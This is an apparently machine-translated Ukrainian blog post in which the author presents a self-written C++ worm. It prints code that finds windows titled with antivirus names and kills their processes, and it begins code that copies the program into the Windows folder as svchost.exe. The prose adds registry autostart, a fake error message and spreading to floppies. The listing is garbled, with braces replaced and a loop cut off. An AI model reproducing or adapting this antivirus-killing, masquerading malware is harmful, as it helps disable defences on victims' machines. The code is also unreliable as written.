Нескладний резидентний вірус-черв'як на c »пізнавальний блог

Нескладний резидентний вірус-черв'як на C ++

Вірусом, як таким це назвати складно, так як нічого крім копіювання на дискети він не робить. Але зроблена робота була на славу. Поїхали.

При отриманні управління файл, шукав все активні вікна в заголовках яких містилися слівця:
Norton "," AVP "," Anti "," Vir "," McAfee "," anti "," vir "," firewall "

І закривав їх. Це було нескладно. І здебільшого ні до чого, тому що він не детектувався як вірус. Але перевірити чи можливо це було вкрай цікаво.

BOOL BadWindow (LPSTR strWindow)
BOOL res = FALSE;
for (int i = 0; i if (strstr (strWindow, bad_windows_list [i])! = 0) res = TRUE;
return res;
>
BOOL CALLBACK WndEnumProcMine (HWND hwnd1, long l1)
LPTSTR str1 = new char [255];
GetWindowText (hwnd1, str1,255);
if (BadWindow (str1))
DWORD dwProcessId;
GetWindowThreadProcessId (hwnd1, dwProcessId);
if (dwProcessId! = GetCurrentProcessId ())
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, dwProcessId);
TerminateProcess (hProcess, 0);
CloseHandle (hProcess);
>
>
delete str1;
return TRUE;
>
void EnumProcessesOther ()
LPARAM c = 0;
EnumWindows ((WNDENUMPROC) WndEnumProcMine, c);
>

Наступні його дії цілком предугадиваеми.

Копіюється в системну папку windows під ім'ям svchost.exe і залишає свої кишки в системному реєстрі, для запуску при перезавантаженні.

int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR pCmdLine, int nCmdShow)

char myname [1 024], windir [1 024];
HKEY hKey;
SetErrorMode (SEM_NOGPFAULTERRORBOX);
PeekMessage (NULL, NULL, NULL, NULL, NULL);

GetModuleFileName (hInstance, myname, sizeof (myname));
GetWindowsDirectory (windir, sizeof (windir));

Виводить липове повідомлення про помилку. І після перезавантаження висить в пам'яті, і кожні 30000 мілісекунд записується на дискету під ім'ям diskinfo.exe. На подив простий вірус, правда? Ніякої шкоди, тільки поширення. Але нестандартний ключ записи в реєстр і невдачливий ім'я файли svchost.exe вводило в ступор навіть досвідчених сис / адмінів. Начебто ніяких зайвих процесів немає, а він є. Палілось це досить легко.